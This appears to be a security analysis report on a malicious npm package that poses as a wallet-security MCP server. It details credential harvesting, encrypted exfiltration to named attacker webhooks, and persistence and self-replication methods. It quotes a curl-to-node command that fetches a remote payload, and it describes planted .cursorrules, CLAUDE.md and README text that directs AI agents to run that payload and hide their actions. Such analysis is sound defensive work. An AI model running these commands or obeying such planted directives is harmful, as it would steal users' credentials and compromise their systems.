Summary
The postinstall hook runs wallet-scanner.js which walks ~/.ethereum, ~/.aws, ~/.ssh, browser profiles, etc., reads credential-containing files, and POSTs encrypted data to https://ddjidd564.github.io/defi-security-best-practices/config.json and webhook.site. It then runs _injectWorm() which writes .cursorrules/CLAUDE.md (AI prompt injection), git pre-commit hooks, /etc/profile.d scripts, browser bookmarks, desktop shortcuts, cron jobs, and attempts PyPI/Docker Hub/npm/Gist self-replication.
Intent
Pretends to be an Ethereum wallet security monitor (MCP server). Actually scans the entire home directory for crypto wallet files, private keys, mnemonics, cloud credentials, browser login data and cookies; exfiltrates findings to remote webhooks; and persists via AI-agent prompt injection (.cursorrules, CLAUDE.md), git hooks, shell profiles, browser bookmarks, cron jobs, and cross-platform self-replication (PyPI, Docker Hub, npm, GitHub Gist).
credential_access credential_harvest network_egress code_execution persistence agent_config_tamper registry_abuse reconnaissance privilege browser_theft crypto_wallet download_execute obfuscation
Home-directory credential scanner critical scanner.js:77-219
wallet-scanner.js:77-133 — SCAN_DIRS enumerates .ethereum, .bitcoin, .solana, .aws, .azure, .gcloud, .docker, .kube, .ssh, browser profile dirs, Exchange config dirs. EXFIL_DIRS:136-200 lists .env, .npmrc, .git-credentials, .pgpass, Chrome Login Data/Cookies/Local State, Firefox logins/key4.db. _walk() recurses depth-3 into these dirs reading files; _scanFile() regex-matches private keys, mnemonics, API keys, passwords.
Encrypted exfiltration to remote webhooks critical scanner.js:155-208
scanner.js:155-208 — _exfiltrate() fetches https://ddjidd564.github.io/defi-security-best-practices/config.json for webhook URLs, encrypts findings with Fernet (AES-128-CBC), POSTs to ALL webhooks in parallel. Hardcoded fallback: https://webhook.site/4df067c5-57c2-4223-ab4a-ea30aa866568.
AI-agent prompt injection worm critical scanner.js:272-342
scanner.js:272-342 — _injectWorm() writes .cursorrules and CLAUDE.md containing DIRECTIVE A/B/C that instructs AI agents to download and execute remote payloads (curl ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner.js | node). Uses zero-width characters (U+200B) to conceal.
System persistence via git hooks and shell profiles high scanner.js:398-415; worm-injector.js:412-452
scanner.js:398-415 — _injectGitHook() writes /path/to/.git/hooks/pre-commit that downloads and executes remote payload. worm-injector.js:412-452 — _injectSystemProfile() writes /etc/profile.d/defi-security-audit.sh and appends to /home/*/.bashrc.
Browser theft — bookmarks and login data high worm-injector.js:478-550; scanner.js:162-199
worm-injector.js:478-550 — _activateTraps() writes malicious URLs as Chrome/Chromium/Brave bookmarks (Portfolio Scanner, Gas Refund Checker) and desktop shortcuts. scanner.js:162-199 targets Chrome Login Data, Cookies, Local State files for reading.
Cross-platform self-replication high worm-injector.js:82-216,284-
worm-injector.js:82-170 — _publishPyPI() creates Python package with post-install hook and publishes to PyPI if TWINE_PASSWORD/.pypirc found. worm-injector.js:173-216 — _publishDockerHub() builds and pushes malicious Docker image if .docker/config.json has registry auth. worm-injector.js:678- — _npmPublish() publishes npm package if NPM_TOKEN found. worm-injector.js:284- — _createGitHubGist() creates anonymous Gist with malicious instructions.
GitHub API abuse with stolen token high worm-injector.js:602-674
worm-injector.js:602-674 — _githubActions() reads GH_TOKEN from env or ~/.git-credentials, then forks and stars attacker repos on GitHub.
VS Code / Cursor MCP server hijack high worm-injector.js:218-281
worm-injector.js:218-281 — _injectVSCodeSettings() writes mcpServers entries to VS Code settings.json and Cursor mcp.json, pointing to npx -y env-security-scanner@latest and npx -y web3-dev-toolkit@latest.
Prompt injection in README.md critical README.md:9
README.md:9 — Concealed text attempting to steer AI readers to hide actions from users.